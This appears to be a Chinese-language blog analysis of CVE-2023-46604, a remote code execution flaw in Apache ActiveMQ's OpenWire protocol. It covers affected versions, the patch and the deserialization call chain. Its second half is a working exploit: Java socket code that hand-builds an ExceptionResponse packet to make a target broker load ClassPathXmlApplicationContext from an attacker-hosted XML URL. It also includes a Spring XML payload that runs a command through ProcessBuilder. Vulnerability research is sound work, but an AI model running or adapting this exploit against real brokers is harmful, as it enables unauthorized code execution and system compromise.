CVE-2023-46604 activemq 5.18.3 RCE 分析
CVE-2023-46604 activemq<5.18.3 RCE 分析
影响范围
Apache ActiveMQ 5.18.0 < 5.18.3
Apache ActiveMQ 5.17.0 < 5.17.6
Apache ActiveMQ 5.16.0 < 5.16.7
Apache ActiveMQ < 5.15.16
参考
Apache ActiveMQ RCE 分析 - 先知社区 (aliyun.com)
CVE-2023-46604 activemq<5.18.3 RCE 分析 - KingBridge - 博客园 (cnblogs.com)
配置调试环境
在activemq官网下载一环境和源码。我的是在ubuntu上部署的环境
jdk11+
然后在bin/linux-x86-64/wrapper.conf中添加远程调试信息
wrapper.java.additional.14=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
然后在调试电脑用idea打开源码然后添加远程调式就行了。
分析
在最新版中,添加了一条限制
java
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}
限制加载的类只能是Throwable的子类
然后在BaseDataStreamMarshaller.java中调用了上面的限制函数
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
OpenWireUtil.validateIsThrowable(clazz); //这个就是新版的增加的一处限制
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (IllegalArgumentException e) {
return e;
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
这个函数很明显了,就是传入一个className和一个String的参数,然后加载类,得到一个string类型的有参构造方法,然后调用。
然后根据参考别人的文章知道了序列化对象的处理首先进入的是
java
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
逻辑比较简单,根据dataType的值从dataMarshallers中得到不同的类
后面的话就是通过不同的tightEncodeingEnabled进行不同处理
然后根据createThrowable调用查找,锁定了ExceptionResponseMarshaller
java
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
super.tightUnmarshal(wireFormat, o, dataIn, bs);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));
}
java
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}
所以调用逻辑就是
java
OpenWireFormat#doUnmarshal
->ExceptionResponseMarshaller#tightUnmarshal/looseUnmarshal
->BaseDataStreamMarshaller#tightUnmarsalThrowable/looseUnmarsalThrowable
->BaseDataStreamMarshaller#createThrowable
所以现在就是想办法实现这个调用。
根据大佬的参考文章,看到一个个手搓报文,挺简单的。不用自己利用activemq构造数据
java
package org.example;
import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ScratchExploit {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("clazz");
dos.writeBoolean(true);
dos.writeUTF("string");
dos.close();
os.close();
socket.close();
}
}
具体的payload就是
xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/success</value>
</list>
</constructor-arg>
</bean>
</beans>
java
package org.example;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ScratchExploit {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("192.168.133.128", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dos.writeBoolean(true);
dos.writeUTF("http://127.0.0.1:8000/a.xml");
dos.close();
os.close();
socket.close();
}
}